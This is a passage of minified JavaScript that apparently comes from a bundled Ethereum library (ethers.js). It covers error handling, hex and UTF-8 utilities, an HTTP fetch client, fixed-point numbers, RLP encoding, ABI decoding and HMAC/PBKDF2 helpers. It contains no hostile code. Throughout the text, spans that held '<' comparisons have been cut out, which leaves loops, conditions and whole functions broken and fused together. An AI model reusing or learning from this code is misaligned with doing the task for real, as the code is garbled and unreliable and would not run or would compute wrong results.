value=info[key];details.push(key+"="+stringify$1(value))}}details.push(`code=${code}`);details.push(`version=${version}`);if(details.length){message+=" ("+details.join(", ")+")"}}let error;switch(code){case"INVALID_ARGUMENT":error=new TypeError(message);break;case"NUMERIC_FAULT":case"BUFFER_OVERRUN":error=new RangeError(message);break;default:error=new Error(message)}defineProperties(error,{code:code});if(info){Object.assign(error,info)}if(error.shortMessage==null){defineProperties(error,{shortMessage:shortMessage})}return error}function assert(check,message,code,info){if(!check){throw makeError(message,code,info)}}function assertArgument(check,message,name,value){assert(check,message,"INVALID_ARGUMENT",{argument:name,value:value})}function assertArgumentCount(count,expectedCount,message){if(message==null){message=""}if(message){message=": "+message}assert(count>=expectedCount,"missing argument"+message,"MISSING_ARGUMENT",{count:count,expectedCount:expectedCount});assert(count<=expectedCount,"too many arguments"+message,"UNEXPECTED_ARGUMENT",{count:count,expectedCount:expectedCount})}const _normalizeForms=["NFD","NFC","NFKD","NFKC"].reduce((accum,form)=>{try{if("test".normalize(form)!=="test"){throw new Error("bad")}if(form==="NFD"){const check=String.fromCharCode(233).normalize("NFD");const expected=String.fromCharCode(101,769);if(check!==expected){throw new Error("broken")}}accum.push(form)}catch(error){}return accum},[]);function assertNormalize(form){assert(_normalizeForms.indexOf(form)>=0,"platform missing String.prototype.normalize","UNSUPPORTED_OPERATION",{operation:"String.prototype.normalize",info:{form:form}})}function assertPrivate(givenGuard,guard,className){if(className==null){className=""}if(givenGuard!==guard){let method=className,operation="new";if(className){method+=".";operation+=" "+className}assert(false,`private constructor; use ${method}from* methods`,"UNSUPPORTED_OPERATION",{operation:operation})}}function _getBytes(value,name,copy){if(value instanceof Uint8Array){if(copy){return new Uint8Array(value)}return value}if(typeof value==="string"&&value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)){const result=new Uint8Array((value.length-2)/2);let offset=2;for(let i=0;i>4]+HexCharacters[v&15]}return result}function concat(datas){return"0x"+datas.map(d=>hexlify(d).substring(2)).join("")}function dataLength(data){if(isHexString(data,true)){return(data.length-2)/2}return getBytes(data).length}function dataSlice(data,start,end){const bytes=getBytes(data);if(end!=null&&end>bytes.length){assert(false,"cannot slice beyond data bounds","BUFFER_OVERRUN",{buffer:bytes,length:bytes.length,offset:end})}return hexlify(bytes.slice(start==null?0:start,end==null?bytes.length:end))}function stripZerosLeft(data){let bytes=hexlify(data).substring(2);while(bytes.startsWith("00")){bytes=bytes.substring(2)}return"0x"+bytes}function zeroPad(data,length,left){const bytes=getBytes(data);assert(length>=bytes.length,"padding exceeds data length","BUFFER_OVERRUN",{buffer:new Uint8Array(bytes),length:length,offset:length+1});const result=new Uint8Array(length);result.fill(0);if(left){result.set(bytes,length-bytes.length)}else{result.set(bytes,0)}return hexlify(result)}function zeroPadValue(data,length){return zeroPad(data,length,true)}function zeroPadBytes(data,length){return zeroPad(data,length,false)}const BN_0$a=BigInt(0);const BN_1$5=BigInt(1);const maxValue=9007199254740991;function fromTwos(_value,_width){const value=getUint(_value,"value");const width=BigInt(getNumber(_width,"width"));assert(value>>width===BN_0$a,"overflow","NUMERIC_FAULT",{operation:"fromTwos",fault:"overflow",value:_value});if(value>>width-BN_1$5){const mask=(BN_1$5<=-maxValue&&value<=maxValue,"overflow",name||"value",value);return BigInt(value);case"string":try{if(value===""){throw new Error("empty string")}if(value[0]==="-"&&value[1]!=="-"){return-BigInt(value.substring(1))}return BigInt(value)}catch(e){assertArgument(false,`invalid BigNumberish string: ${e.message}`,name||"value",value)}}assertArgument(false,"invalid BigNumberish value",name||"value",value)}function getUint(value,name){const result=getBigInt(value,name);assert(result>=BN_0$a,"unsigned value cannot be negative","NUMERIC_FAULT",{fault:"overflow",operation:"getUint",value:value});return result}const Nibbles$1="0123456789abcdef";function toBigInt(value){if(value instanceof Uint8Array){let result="0x0";for(const v of value){result+=Nibbles$1[v>>4];result+=Nibbles$1[v&15]}return BigInt(result)}return getBigInt(value)}function getNumber(value,name){switch(typeof value){case"bigint":assertArgument(value>=-maxValue&&value<=maxValue,"overflow",name||"value",value);return Number(value);case"number":assertArgument(Number.isInteger(value),"underflow",name||"value",value);assertArgument(value>=-maxValue&&value<=maxValue,"overflow",name||"value",value);return value;case"string":try{if(value===""){throw new Error("empty string")}return getNumber(BigInt(value),name)}catch(e){assertArgument(false,`invalid numeric string: ${e.message}`,name||"value",value)}}assertArgument(false,"invalid numeric value",name||"value",value)}function toNumber(value){return getNumber(toBigInt(value))}function toBeHex(_value,_width){const value=getUint(_value,"value");let result=value.toString(16);if(_width==null){if(result.length%2){result="0"+result}}else{const width=getNumber(_width,"width");assert(width*2>=result.length,`value exceeds width (${width} bytes)`,"NUMERIC_FAULT",{operation:"toBeHex",fault:"overflow",value:_value});while(result.length>6!==2){break}i++}return i}if(reason==="OVERRUN"){return bytes.length-offset-1}return 0}function replaceFunc(reason,offset,bytes,output,badCodepoint){if(reason==="OVERLONG"){assertArgument(typeof badCodepoint==="number","invalid bad code point for replacement","badCodepoint",badCodepoint);output.push(badCodepoint);return 0}output.push(65533);return ignoreFunc(reason,offset,bytes)}const Utf8ErrorFuncs=Object.freeze({error:errorFunc,ignore:ignoreFunc,replace:replaceFunc});function getUtf8CodePoints(_bytes,onError){if(onError==null){onError=Utf8ErrorFuncs.error}const bytes=getBytes(_bytes,"bytes");const result=[];let i=0;while(i>7===0){result.push(c);continue}let extraLength=null;let overlongMask=null;if((c&224)===192){extraLength=1;overlongMask=127}else if((c&240)===224){extraLength=2;overlongMask=2047}else if((c&248)===240){extraLength=3;overlongMask=65535}else{if((c&192)===128){i+=onError("UNEXPECTED_CONTINUE",i-1,bytes,result)}else{i+=onError("BAD_PREFIX",i-1,bytes,result)}continue}if(i-1+extraLength>=bytes.length){i+=onError("OVERRUN",i-1,bytes,result);continue}let res=c&(1<<8-extraLength-1)-1;for(let j=0;j1114111){i+=onError("OUT_OF_RANGE",i-1-extraLength,bytes,result,res);continue}if(res>=55296&&res<=57343){i+=onError("UTF16_SURROGATE",i-1-extraLength,bytes,result,res);continue}if(res<=overlongMask){i+=onError("OVERLONG",i-1-extraLength,bytes,result,res);continue}result.push(res)}return result}function toUtf8Bytes(str,form){assertArgument(typeof str==="string","invalid string value","str",str);if(form!=null){assertNormalize(form);str=str.normalize(form)}let result=[];for(let i=0;i>6|192);result.push(c&63|128)}else if((c&64512)==55296){i++;const c2=str.charCodeAt(i);assertArgument(i>18|240);result.push(pair>>12&63|128);result.push(pair>>6&63|128);result.push(pair&63|128)}else{result.push(c>>12|224);result.push(c>>6&63|128);result.push(c&63|128)}}return new Uint8Array(result)}function _toUtf8String(codePoints){return codePoints.map(codePoint=>{if(codePoint<=65535){return String.fromCharCode(codePoint)}codePoint-=65536;return String.fromCharCode((codePoint>>10&1023)+55296,(codePoint&1023)+56320)}).join("")}function toUtf8String(bytes,onError){return _toUtf8String(getUtf8CodePoints(bytes,onError))}function toUtf8CodePoints(str,form){return getUtf8CodePoints(toUtf8Bytes(str,form))}function createGetUrl(options){async function getUrl(req,_signal){assert(_signal==null||!_signal.cancelled,"request cancelled before sending","CANCELLED");const protocol=req.url.split(":")[0].toLowerCase();assert(protocol==="http"||protocol==="https",`unsupported protocol ${protocol}`,"UNSUPPORTED_OPERATION",{info:{protocol:protocol},operation:"request"});assert(protocol==="https"||!req.credentials||req.allowInsecureAuthentication,"insecure authorized connections unsupported","UNSUPPORTED_OPERATION",{operation:"request"});let error=null;const controller=new AbortController;const timer=setTimeout(()=>{error=makeError("request timeout","TIMEOUT");controller.abort()},req.timeout);if(_signal){_signal.addListener(()=>{error=makeError("request cancelled","CANCELLED");controller.abort()})}const init=Object.assign({},options,{method:req.method,headers:new Headers(Array.from(req)),body:req.body||undefined,signal:controller.signal});let resp;try{resp=await fetch(req.url,init)}catch(_error){clearTimeout(timer);if(error){throw error}throw _error}clearTimeout(timer);const headers={};resp.headers.forEach((value,key)=>{headers[key.toLowerCase()]=value});const respBody=await resp.arrayBuffer();const body=respBody==null?null:new Uint8Array(respBody);return{statusCode:resp.status,statusMessage:resp.statusText,headers:headers,body:body}}return getUrl}const MAX_ATTEMPTS=12;const SLOT_INTERVAL=250;let defaultGetUrlFunc=createGetUrl();const reData=new RegExp("^data:([^;:]*)?(;base64)?,(.*)$","i");const reIpfs=new RegExp("^ipfs://(ipfs/)?(.*)$","i");let locked$5=false;async function dataGatewayFunc(url,signal){try{const match=url.match(reData);if(!match){throw new Error("invalid data")}return new FetchResponse(200,"OK",{"content-type":match[1]||"text/plain"},match[2]?decodeBase64(match[3]):unpercent(match[3]))}catch(error){return new FetchResponse(599,"BAD REQUEST (invalid data: URI)",{},null,new FetchRequest(url))}}function getIpfsGatewayFunc(baseUrl){async function gatewayIpfs(url,signal){try{const match=url.match(reIpfs);if(!match){throw new Error("invalid link")}return new FetchRequest(`${baseUrl}${match[2]}`)}catch(error){return new FetchResponse(599,"BAD REQUEST (invalid IPFS URI)",{},null,new FetchRequest(url))}}return gatewayIpfs}const Gateways={data:dataGatewayFunc,ipfs:getIpfsGatewayFunc("https://gateway.ipfs.io/ipfs/")};const fetchSignals=new WeakMap;class FetchCancelSignal{#listeners;#cancelled;constructor(request){this.#listeners=[];this.#cancelled=false;fetchSignals.set(request,()=>{if(this.#cancelled){return}this.#cancelled=true;for(const listener of this.#listeners){setTimeout(()=>{listener()},0)}this.#listeners=[]})}addListener(listener){assert(!this.#cancelled,"singal already cancelled","UNSUPPORTED_OPERATION",{operation:"fetchCancelSignal.addCancelListener"});this.#listeners.push(listener)}get cancelled(){return this.#cancelled}checkSignal(){assert(!this.cancelled,"cancelled","CANCELLED",{})}}function checkSignal(signal){if(signal==null){throw new Error("missing signal; should not happen")}signal.checkSignal();return signal}class FetchRequest{#allowInsecure;#gzip;#headers;#method;#timeout;#url;#body;#bodyType;#creds;#preflight;#process;#retry;#signal;#throttle;#getUrlFunc;get url(){return this.#url}set url(url){this.#url=String(url)}get body(){if(this.#body==null){return null}return new Uint8Array(this.#body)}set body(body){if(body==null){this.#body=undefined;this.#bodyType=undefined}else if(typeof body==="string"){this.#body=toUtf8Bytes(body);this.#bodyType="text/plain"}else if(body instanceof Uint8Array){this.#body=body;this.#bodyType="application/octet-stream"}else if(typeof body==="object"){this.#body=toUtf8Bytes(JSON.stringify(body));this.#bodyType="application/json"}else{throw new Error("invalid body")}}hasBody(){return this.#body!=null}get method(){if(this.#method){return this.#method}if(this.hasBody()){return"POST"}return"GET"}set method(method){if(method==null){method=""}this.#method=String(method).toUpperCase()}get headers(){const headers=Object.assign({},this.#headers);if(this.#creds){headers["authorization"]=`Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`}if(this.allowGzip){headers["accept-encoding"]="gzip"}if(headers["content-type"]==null&&this.#bodyType){headers["content-type"]=this.#bodyType}if(this.body){headers["content-length"]=String(this.body.length)}return headers}getHeader(key){return this.headers[key.toLowerCase()]}setHeader(key,value){this.#headers[String(key).toLowerCase()]=String(value)}clearHeaders(){this.#headers={}}[Symbol.iterator](){const headers=this.headers;const keys=Object.keys(headers);let index=0;return{next:()=>{if(index=0,"timeout must be non-zero","timeout",timeout);this.#timeout=timeout}get preflightFunc(){return this.#preflight||null}set preflightFunc(preflight){this.#preflight=preflight}get processFunc(){return this.#process||null}set processFunc(process){this.#process=process}get retryFunc(){return this.#retry||null}set retryFunc(retry){this.#retry=retry}get getUrlFunc(){return this.#getUrlFunc||defaultGetUrlFunc}set getUrlFunc(value){this.#getUrlFunc=value}constructor(url){this.#url=String(url);this.#allowInsecure=false;this.#gzip=true;this.#headers={};this.#method="";this.#timeout=3e5;this.#throttle={slotInterval:SLOT_INTERVAL,maxAttempts:MAX_ATTEMPTS};this.#getUrlFunc=null}toString(){return``}setThrottleParams(params){if(params.slotInterval!=null){this.#throttle.slotInterval=params.slotInterval}if(params.maxAttempts!=null){this.#throttle.maxAttempts=params.maxAttempts}}async#send(attempt,expires,delay,_request,_response){if(attempt>=this.#throttle.maxAttempts){return _response.makeServerError("exceeded maximum retry limit")}assert(getTime$2()<=expires,"timeout","TIMEOUT",{operation:"request.send",reason:"timeout",request:_request});if(delay>0){await wait(delay)}let req=this.clone();const scheme=(req.url.split(":")[0]||"").toLowerCase();if(scheme in Gateways){const result=await Gateways[scheme](req.url,checkSignal(_request.#signal));if(result instanceof FetchResponse){let response=result;if(this.processFunc){checkSignal(_request.#signal);try{response=await this.processFunc(req,response)}catch(error){if(error.throttle==null||typeof error.stall!=="number"){response.makeServerError("error in post-processing function",error).assertOk()}}}return response}req=result}if(this.preflightFunc){req=await this.preflightFunc(req)}const resp=await this.getUrlFunc(req,checkSignal(_request.#signal));let response=new FetchResponse(resp.statusCode,resp.statusMessage,resp.headers,resp.body,_request);if(response.statusCode===301||response.statusCode===302){try{const location=response.headers.location||"";return req.redirect(location).#send(attempt+1,expires,0,_request,response)}catch(error){}return response}else if(response.statusCode===429){if(this.retryFunc==null||await this.retryFunc(req,response,attempt)){const retryAfter=response.headers["retry-after"];let delay=this.#throttle.slotInterval*Math.trunc(Math.random()*Math.pow(2,attempt));if(typeof retryAfter==="string"&&retryAfter.match(/^[1-9][0-9]*$/)){delay=parseInt(retryAfter)}return req.clone().#send(attempt+1,expires,delay,_request,response)}}if(this.processFunc){checkSignal(_request.#signal);try{response=await this.processFunc(req,response)}catch(error){if(error.throttle==null||typeof error.stall!=="number"){response.makeServerError("error in post-processing function",error).assertOk()}let delay=this.#throttle.slotInterval*Math.trunc(Math.random()*Math.pow(2,attempt));if(error.stall>=0){delay=error.stall}return req.clone().#send(attempt+1,expires,delay,_request,response)}}return response}send(){assert(this.#signal==null,"request already sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.send"});this.#signal=new FetchCancelSignal(this);return this.#send(0,getTime$2()+this.timeout,0,this,new FetchResponse(0,"",{},null,this))}cancel(){assert(this.#signal!=null,"request has not been sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.cancel"});const signal=fetchSignals.get(this);if(!signal){throw new Error("missing signal; should not happen")}signal()}redirect(location){const current=this.url.split(":")[0].toLowerCase();const target=location.split(":")[0].toLowerCase();assert(this.method==="GET"&&(current!=="https"||target!=="http")&&location.match(/^https?:/),`unsupported redirect`,"UNSUPPORTED_OPERATION",{operation:`redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})`});const req=new FetchRequest(location);req.method="GET";req.allowGzip=this.allowGzip;req.timeout=this.timeout;req.#headers=Object.assign({},this.#headers);if(this.#body){req.#body=new Uint8Array(this.#body)}req.#bodyType=this.#bodyType;return req}clone(){const clone=new FetchRequest(this.url);clone.#method=this.#method;if(this.#body){clone.#body=this.#body}clone.#bodyType=this.#bodyType;clone.#headers=Object.assign({},this.#headers);clone.#creds=this.#creds;if(this.allowGzip){clone.allowGzip=true}clone.timeout=this.timeout;if(this.allowInsecureAuthentication){clone.allowInsecureAuthentication=true}clone.#preflight=this.#preflight;clone.#process=this.#process;clone.#retry=this.#retry;clone.#throttle=Object.assign({},this.#throttle);clone.#getUrlFunc=this.#getUrlFunc;return clone}static lockConfig(){locked$5=true}static getGateway(scheme){return Gateways[scheme.toLowerCase()]||null}static registerGateway(scheme,func){scheme=scheme.toLowerCase();if(scheme==="http"||scheme==="https"){throw new Error(`cannot intercept ${scheme}; use registerGetUrl`)}if(locked$5){throw new Error("gateways locked")}Gateways[scheme]=func}static registerGetUrl(getUrl){if(locked$5){throw new Error("gateways locked")}defaultGetUrlFunc=getUrl}static createGetUrlFunc(options){return createGetUrl(options)}static createDataGateway(){return dataGatewayFunc}static createIpfsGatewayFunc(baseUrl){return getIpfsGatewayFunc(baseUrl)}}class FetchResponse{#statusCode;#statusMessage;#headers;#body;#request;#error;toString(){return``}get statusCode(){return this.#statusCode}get statusMessage(){return this.#statusMessage}get headers(){return Object.assign({},this.#headers)}get body(){return this.#body==null?null:new Uint8Array(this.#body)}get bodyText(){try{return this.#body==null?"":toUtf8String(this.#body)}catch(error){assert(false,"response body is not valid UTF-8 data","UNSUPPORTED_OPERATION",{operation:"bodyText",info:{response:this}})}}get bodyJson(){try{return JSON.parse(this.bodyText)}catch(error){assert(false,"response body is not valid JSON","UNSUPPORTED_OPERATION",{operation:"bodyJson",info:{response:this}})}}[Symbol.iterator](){const headers=this.headers;const keys=Object.keys(headers);let index=0;return{next:()=>{if(index{accum[k.toLowerCase()]=String(headers[k]);return accum},{});this.#body=body==null?null:new Uint8Array(body);this.#request=request||null;this.#error={message:""}}makeServerError(message,error){let statusMessage;if(!message){message=`${this.statusCode} ${this.statusMessage}`;statusMessage=`CLIENT ESCALATED SERVER ERROR (${message})`}else{statusMessage=`CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`}const response=new FetchResponse(599,statusMessage,this.headers,this.body,this.#request||undefined);response.#error={message:message,error:error};return response}throwThrottleError(message,stall){if(stall==null){stall=-1}else{assertArgument(Number.isInteger(stall)&&stall>=0,"invalid stall timeout","stall",stall)}const error=new Error(message||"throttling requests");defineProperties(error,{stall:stall,throttle:true});throw error}getHeader(key){return this.headers[key.toLowerCase()]}hasBody(){return this.#body!=null}get request(){return this.#request}ok(){return this.#error.message===""&&this.statusCode>=200&&this.statusCode<300}assertOk(){if(this.ok()){return}let{message,error}=this.#error;if(message===""){message=`server response ${this.statusCode} ${this.statusMessage}`}let requestUrl=null;if(this.request){requestUrl=this.request.url}let responseBody=null;try{if(this.#body){responseBody=toUtf8String(this.#body)}}catch(e){}assert(false,message,"SERVER_ERROR",{request:this.request||"unknown request",response:this,error:error,info:{requestUrl:requestUrl,responseBody:responseBody,responseStatus:`${this.statusCode} ${this.statusMessage}`}})}}function getTime$2(){return(new Date).getTime()}function unpercent(value){return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi,(all,code)=>{return String.fromCharCode(parseInt(code,16))}))}function wait(delay){return new Promise(resolve=>setTimeout(resolve,delay))}const BN_N1=BigInt(-1);const BN_0$8=BigInt(0);const BN_1$4=BigInt(1);const BN_5=BigInt(5);const _guard$5={};let Zeros$1="0000";while(Zeros$1.length<80){Zeros$1+=Zeros$1}function getTens(decimals){let result=Zeros$1;while(result.length=-limit&&valBN_0$8){val=fromTwos(mask(val,width),width)}else{val=-fromTwos(mask(-val,width),width)}}else{const limit=BN_1$4<=0&&val{if(v[key]==null){return defaultValue}assertArgument(typeof v[key]===type,"invalid fixed format ("+key+" not "+type+")","format."+key,v[key]);return v[key]};signed=check("signed","boolean",signed);width=check("width","number",width);decimals=check("decimals","number",decimals)}assertArgument(width%8===0,"invalid FixedNumber width (not byte aligned)","format.width",width);assertArgument(decimals<=80,"invalid FixedNumber decimals (too large)","format.decimals",decimals);const name=(signed?"":"u")+"fixed"+String(width)+"x"+String(decimals);return{signed:signed,width:width,decimals:decimals,name:name}}function toString(val,decimals){let negative="";if(val0){b*=getTens(delta)}else if(delta<0){a*=getTens(-delta)}if(ab){return 1}return 0}eq(other){return this.cmp(other)===0}lt(other){return this.cmp(other)<0}lte(other){return this.cmp(other)<=0}gt(other){return this.cmp(other)>0}gte(other){return this.cmp(other)>=0}floor(){let val=this.#val;if(this.#valBN_0$8){val+=this.#tens-BN_1$4}val=this.#val/this.#tens*this.#tens;return this.#checkValue(val,"ceiling")}round(decimals){if(decimals==null){decimals=0}if(decimals>=this.decimals){return this}const delta=this.decimals-decimals;const bump=BN_5*getTens(delta-1);let value=this.value+bump;const tens=getTens(delta);value=value/tens*tens;checkValue(value,this.#format,"round");return new FixedNumber(_guard$5,value,this.#format)}isZero(){return this.#val===BN_0$8}isNegative(){return this.#val0){const tens=getTens(delta);assert(value%tens===BN_0$8,"value loses precision for format","NUMERIC_FAULT",{operation:"fromValue",fault:"underflow",value:_value});value/=tens}else if(delta<0){value*=getTens(-delta)}checkValue(value,format,"fromValue");return new FixedNumber(_guard$5,value,format)}static fromString(_value,_format){const match=_value.match(/^(-?)([0-9]*)\.?([0-9]*)$/);assertArgument(match&&match[2].length+match[3].length>0,"invalid FixedNumber string value","value",_value);const format=getFormat(_format);let whole=match[2]||"0",decimal=match[3]||"";while(decimal.length{assert(offset<=data.length,"data short segment too short","BUFFER_OVERRUN",{buffer:data,length:data.length,offset:offset})};if(data[offset]>=248){const lengthLength=data[offset]-247;checkOffset(offset+1+lengthLength);const length=unarrayifyInteger(data,offset+1,lengthLength);checkOffset(offset+1+lengthLength+length);return _decodeChildren(data,offset,offset+1+lengthLength,lengthLength+length)}else if(data[offset]>=192){const length=data[offset]-192;checkOffset(offset+1+length);return _decodeChildren(data,offset,offset+1,length)}else if(data[offset]>=184){const lengthLength=data[offset]-183;checkOffset(offset+1+lengthLength);const length=unarrayifyInteger(data,offset+1,lengthLength);checkOffset(offset+1+lengthLength+length);const result=hexlify(data.slice(offset+1+lengthLength,offset+1+lengthLength+length));return{consumed:1+lengthLength+length,result:result}}else if(data[offset]>=128){const length=data[offset]-128;checkOffset(offset+1+length);const result=hexlify(data.slice(offset+1,offset+1+length));return{consumed:1+length,result:result}}return{consumed:1,result:hexlifyByte(data[offset])}}function decodeRlp(_data){const data=getBytes(_data,"data");const decoded=_decode(data,0);assertArgument(decoded.consumed===data.length,"unexpected junk after rlp payload","data",_data);return decoded.result}function arrayifyInteger(value){const result=[];while(value){result.unshift(value&255);value>>=8}return result}function _encode(object){if(Array.isArray(object)){let payload=[];object.forEach(function(child){payload=payload.concat(_encode(child))});if(payload.length<=55){payload.unshift(192+payload.length);return payload}const length=arrayifyInteger(payload.length);length.unshift(247+length.length);return length.concat(payload)}const data=Array.prototype.slice.call(getBytes(object,"object"));if(data.length===1&&data[0]<=127){return data}else if(data.length<=55){data.unshift(128+data.length);return data}const length=arrayifyInteger(data.length);length.unshift(183+length.length);return length.concat(data)}const nibbles="0123456789abcdef";function encodeRlp(object){let result="0x";for(const v of _encode(object)){result+=nibbles[v>>4];result+=nibbles[v&15]}return result}const names=["wei","kwei","mwei","gwei","szabo","finney","ether"];function formatUnits(value,unit){let decimals=18;if(typeof unit==="string"){const index=names.indexOf(unit);assertArgument(index>=0,"invalid unit","unit",unit);decimals=3*index}else if(unit!=null){decimals=getNumber(unit,"unit")}return FixedNumber.fromValue(value,decimals,{decimals:decimals,width:512}).toString()}function parseUnits$1(value,unit){assertArgument(typeof value==="string","value must be a string","value",value);let decimals=18;if(typeof unit==="string"){const index=names.indexOf(unit);assertArgument(index>=0,"invalid unit","unit",unit);decimals=3*index}else if(unit!=null){decimals=getNumber(unit,"unit")}return FixedNumber.fromString(value,{decimals:decimals,width:512}).value}function formatEther(wei){return formatUnits(wei,18)}function parseEther(ether){return parseUnits$1(ether,18)}function uuidV4(randomBytes){const bytes=getBytes(randomBytes,"randomBytes");bytes[6]=bytes[6]&15|64;bytes[8]=bytes[8]&63|128;const value=hexlify(bytes);return[value.substring(2,10),value.substring(10,14),value.substring(14,18),value.substring(18,22),value.substring(22,34)].join("-")}const WordSize=32;const Padding=new Uint8Array(WordSize);const passProperties$1=["then"];const _guard$4={};const resultNames=new WeakMap;function getNames(result){return resultNames.get(result)}function setNames(result,names){resultNames.set(result,names)}function throwError(name,error){const wrapped=new Error(`deferred error during ABI decoding triggered accessing ${name}`);wrapped.error=error;throw wrapped}function toObject(names,items,deep){if(names.indexOf(null)>=0){return items.map((item,index)=>{if(item instanceof Result){return toObject(getNames(item),item,deep)}return item})}return names.reduce((accum,name,index)=>{let item=items.getValue(name);if(!(name in accum)){if(deep&&item instanceof Result){item=toObject(getNames(item),item,deep)}accum[name]=item}return accum},{})}class Result extends Array{#names;constructor(...args){const guard=args[0];let items=args[1];let names=(args[2]||[]).slice();let wrap=true;if(guard!==_guard$4){items=args;names=[];wrap=false}super(items.length);items.forEach((item,index)=>{this[index]=item});const nameCounts=names.reduce((accum,name)=>{if(typeof name==="string"){accum.set(name,(accum.get(name)||0)+1)}return accum},new Map);setNames(this,Object.freeze(items.map((item,index)=>{const name=names[index];if(name!=null&&nameCounts.get(name)===1){return name}return null})));this.#names=[];if(this.#names==null){void this.#names}if(!wrap){return}Object.freeze(this);const proxy=new Proxy(this,{get:(target,prop,receiver)=>{if(typeof prop==="string"){if(prop.match(/^[0-9]+$/)){const index=getNumber(prop,"%index");if(index<0||index>=this.length){throw new RangeError("out of result range")}const item=target[index];if(item instanceof Error){throwError(`index ${index}`,item)}return item}if(passProperties$1.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}const value=target[prop];if(value instanceof Function){return function(...args){return value.apply(this===receiver?target:this,args)}}else if(!(prop in target)){return target.getValue.apply(this===receiver?target:this,[prop])}}return Reflect.get(target,prop,receiver)}});setNames(proxy,getNames(this));return proxy}toArray(deep){const result=[];this.forEach((item,index)=>{if(item instanceof Error){throwError(`index ${index}`,item)}if(deep&&item instanceof Result){item=item.toArray(deep)}result.push(item)});return result}toObject(deep){const names=getNames(this);return names.reduce((accum,name,index)=>{assert(name!=null,`value at index ${index} unnamed`,"UNSUPPORTED_OPERATION",{operation:"toObject()"});return toObject(names,this,deep)},{})}slice(start,end){if(start==null){start=0}if(start<0){start+=this.length;if(start<0){start=0}}if(end==null){end=this.length}if(end<0){end+=this.length;if(end<0){end=0}}if(end>this.length){end=this.length}const _names=getNames(this);const result=[],names=[];for(let i=start;i{this.#data[offset]=getValue$1(value)}}}class Reader{allowLoose;#data;#offset;#bytesRead;#parent;#maxInflation;constructor(data,allowLoose,maxInflation){defineProperties(this,{allowLoose:!!allowLoose});this.#data=getBytesCopy(data);this.#bytesRead=0;this.#parent=null;this.#maxInflation=maxInflation!=null?maxInflation:1024;this.#offset=0}get data(){return hexlify(this.#data)}get dataLength(){return this.#data.length}get consumed(){return this.#offset}get bytes(){return new Uint8Array(this.#data)}#incrementBytesRead(count){if(this.#parent){return this.#parent.#incrementBytesRead(count)}this.#bytesRead+=count;assert(this.#maxInflation<1||this.#bytesRead<=this.#maxInflation*this.dataLength,`compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`,"BUFFER_OVERRUN",{buffer:getBytesCopy(this.#data),offset:this.#offset,length:count,info:{bytesRead:this.#bytesRead,dataLength:this.dataLength}})}#peekBytes(offset,length,loose){let alignedLength=Math.ceil(length/WordSize)*WordSize;if(this.#offset+alignedLength>this.#data.length){if(this.allowLoose&&loose&&this.#offset+length<=this.#data.length){alignedLength=length}else{assert(false,"data out-of-bounds","BUFFER_OVERRUN",{buffer:getBytesCopy(this.#data),length:this.#data.length,offset:this.#offset+alignedLength})}}return this.#data.slice(this.#offset,this.#offset+alignedLength)}subReader(offset){const reader=new Reader(this.#data.slice(this.#offset+offset),this.allowLoose,this.#maxInflation);reader.#parent=this;return reader}readBytes(length,loose){let bytes=this.#peekBytes(0,length,!!loose);this.#incrementBytesRead(length);this.#offset+=bytes.length;return bytes.slice(0,length)}readValue(){return toBigInt(this.readBytes(WordSize))}readIndex(){return toNumber(this.readBytes(WordSize))}}function number(n){if(!Number.isSafeInteger(n)||n<0)throw new Error(`Wrong positive integer: ${n}`)}function bytes(b,...lengths){if(!(b instanceof Uint8Array))throw new Error("Expected Uint8Array");if(lengths.length>0&&!lengths.includes(b.length))throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`)}function hash(hash){if(typeof hash!=="function"||typeof hash.create!=="function")throw new Error("Hash should be wrapped by utils.wrapConstructor");number(hash.outputLen);number(hash.blockLen)}function exists(instance,checkFinished=true){if(instance.destroyed)throw new Error("Hash instance has been destroyed");if(checkFinished&&instance.finished)throw new Error("Hash#digest() has already been called")}function output(out,instance){bytes(out);const min=instance.outputLen;if(out.lengtha instanceof Uint8Array;const u32=arr=>new Uint32Array(arr.buffer,arr.byteOffset,Math.floor(arr.byteLength/4));const createView=arr=>new DataView(arr.buffer,arr.byteOffset,arr.byteLength);const rotr=(word,shift)=>word<<32-shift|word>>>shift;const isLE=new Uint8Array(new Uint32Array([287454020]).buffer)[0]===68;if(!isLE)throw new Error("Non little-endian hardware is not supported");const nextTick=async()=>{};async function asyncLoop(iters,tick,cb){let ts=Date.now();for(let i=0;i=0&&diffsum+a.length,0));let pad=0;arrays.forEach(a=>{if(!u8a$1(a))throw new Error("Uint8Array expected");r.set(a,pad);pad+=a.length});return r}class Hash{clone(){return this._cloneInto()}}const toStr={}.toString;function checkOpts(defaults,opts){if(opts!==undefined&&toStr.call(opts)!=="[object Object]")throw new Error("Options should be object or undefined");const merged=Object.assign(defaults,opts);return merged}function wrapConstructor(hashCons){const hashC=msg=>hashCons().update(toBytes(msg)).digest();const tmp=hashCons();hashC.outputLen=tmp.outputLen;hashC.blockLen=tmp.blockLen;hashC.create=()=>hashCons();return hashC}function randomBytes$2(bytesLength=32){if(crypto$1&&typeof crypto$1.getRandomValues==="function"){return crypto$1.getRandomValues(new Uint8Array(bytesLength))}throw new Error("crypto.getRandomValues must be defined")}class HMAC extends Hash{constructor(hash$1,_key){super();this.finished=false;this.destroyed=false;hash(hash$1);const key=toBytes(_key);this.iHash=hash$1.create();if(typeof this.iHash.update!=="function")throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen;this.outputLen=this.iHash.outputLen;const blockLen=this.blockLen;const pad=new Uint8Array(blockLen);pad.set(key.length>blockLen?hash$1.create().update(key).digest():key);for(let i=0;inew HMAC(hash,key).update(message).digest();hmac.create=(hash,key)=>new HMAC(hash,key);function pbkdf2Init(hash$1,_password,_salt,_opts){hash(hash$1);const opts=checkOpts({dkLen:32,asyncTick:10},_opts);const{c,dkLen,asyncTick}=opts;number(c);number(dkLen);number(asyncTick);if(c<1)throw new Error("PBKDF2: iterations (c) should be >= 1");const password=toBytes(_password);const salt=toBytes(_salt);const DK=new Uint8Array(dkLen);const 